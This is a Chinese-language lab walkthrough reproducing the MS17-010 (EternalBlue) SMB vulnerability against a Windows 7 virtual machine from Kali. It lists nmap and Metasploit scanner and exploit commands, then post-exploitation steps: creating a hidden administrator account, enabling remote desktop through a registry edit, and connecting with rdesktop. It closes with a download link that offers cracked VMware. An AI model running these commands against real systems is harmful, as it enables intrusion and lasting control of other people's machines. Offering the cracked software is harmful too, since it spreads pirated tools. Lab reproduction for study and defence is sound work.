MS17-010*(永恒之蓝)漏洞复现
目录
一、漏洞概述
1、漏洞介绍
-
永恒之蓝漏洞(MS17-010),它的爆发源于 WannaCry 勒索病毒的诞生,该病毒是不法分子利用NSA(National Security Agency,美国国家安全局)泄露的漏洞 “EternalBlue”(永恒之蓝)进行改造而成 。勒索病毒的肆虐,俨然是一场全球性互联网灾难,给广大电脑用户造成了巨大损失。据统计,全球100多个国家和地区超过10万台电脑遭到了勒索病毒攻击、感染。
2、漏洞原理
-
永恒之蓝漏洞通过 TCP 的445和139端口,来利用 SMBv1 和 NBT 中的远程代码执行漏洞,通过恶意代码扫描并攻击开放445文件共享端口的 Windows 主机。只要用户主机开机联网,即可通过该漏洞控制用户的主机。不法分子就能在其电脑或服务器中植入勒索病毒、窃取用户隐私、远程控制木马等恶意程序。
3、影响版本
-
目前已知受影响的 Windows 版本包括但不限于:WindowsNT,Windows2000、Windows XP、Windows 2003、Windows Vista、Windows 7、Windows 8,Windows 2008、Windows 2008 R2、Windows Server 2012 SP0。
二、实验条件
-
靶机(win7):192.168.112.133
-
攻击机(kali):192.168.112.128
-
实验条件:两台机子可以相互ping通,并且靶机(无补丁)开启了445端口,防火墙是关闭的!
1、查看IP
- 首先,开启kali和win7,查看两台主机的ip地址
-
kali:
-
-
win7
-
2、测试主机网络连通性
-
-
由此得来,可以ping通,(如果ping不通,测试两边主机的网络连接和win7的防火墙)
三、漏洞复现
1、主机发现
-
登录kali,使用nmap探测本网段主机
-
nmap 192.168.112.133/24
-
-
可得,目标主机开放了135、139、445、1688、3389端口
-
而永恒之蓝利用的是445端口的SMB服务,操作系统溢出漏洞
2、使用MSF的永恒之蓝模块
-
打开MSF
-
msfconsole #启动msf
-
-
搜索ms17-010 代码:
-
search ms17_010 #搜索ms17-010
-
-
这里可以得到一些工具,其中
-
auxiliary/scanner/smb/smb_ms17_010 是永恒之蓝扫描模块,
-
exploit/windows/smb/ms17_010_eternalblue 是永恒之蓝攻击模块
-
-
一般配合使用,前者先扫描,若显示有漏洞,再进行攻击。
3、使用MS17-010扫描模块,对靶机进行扫描
-
use auxiliary/scanner/smb/smb_ms17_010 #使用模块
-
set rhosts 192.168.112.133 #设置目标ip或网段
-
出现漏洞
4、使用ms17-010攻击模块,对靶机进行攻击
-
use exploit/windows/smb/ms17_010_eternalblue #使用模块进行攻击
-
set rhosts 192.168.112.133 #设置目标ip
-
小贴士:可以用以下代码查看设置选项
-
show options
-
-
-
攻击完成
5、得到靶机shell
-
shell
-
测试靶机连通性
-
-
输入:chcp 65001 可有效解决乱码问题。
-
6、对靶机shell进行控制
-
创建新用户
-
net user #查看所有用户 whoami /user #查看当前用户的SID net user hacker 123456 /add #创建用户并设置密码"123456"
-
-
将用户添加至管理员组
-
net localgroup administrators hacker /add #将用户添加至管理员组
-
-
开启远程桌面功能
-
查看3389端口状态
-
netstat -ano #查看开放了哪些端口
-
如图所示并没有开启
-
-
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f #开启3389端口
-
-
已开启
-
-
-
远程桌面链接靶机(命令要在kail下输入)
-
rdesktop 192.168.112.133:3389 #通过3389端口开启远程桌面
-
-
-
登陆成功
-
四、实验所用设备下载
- windows7以及kali镜像文件、vmware16(附带破解)已放置在网盘链接中,请自行下载
- 也可在评论区留言或私信我哦
- 感谢支持!!!!!!!
- 链接
-
链接:https://pan.baidu.com/s/1n_elmgr3aKBKf6x-mK51Uw 提取码:gkkg --来自百度网盘超级会员V3的分享
-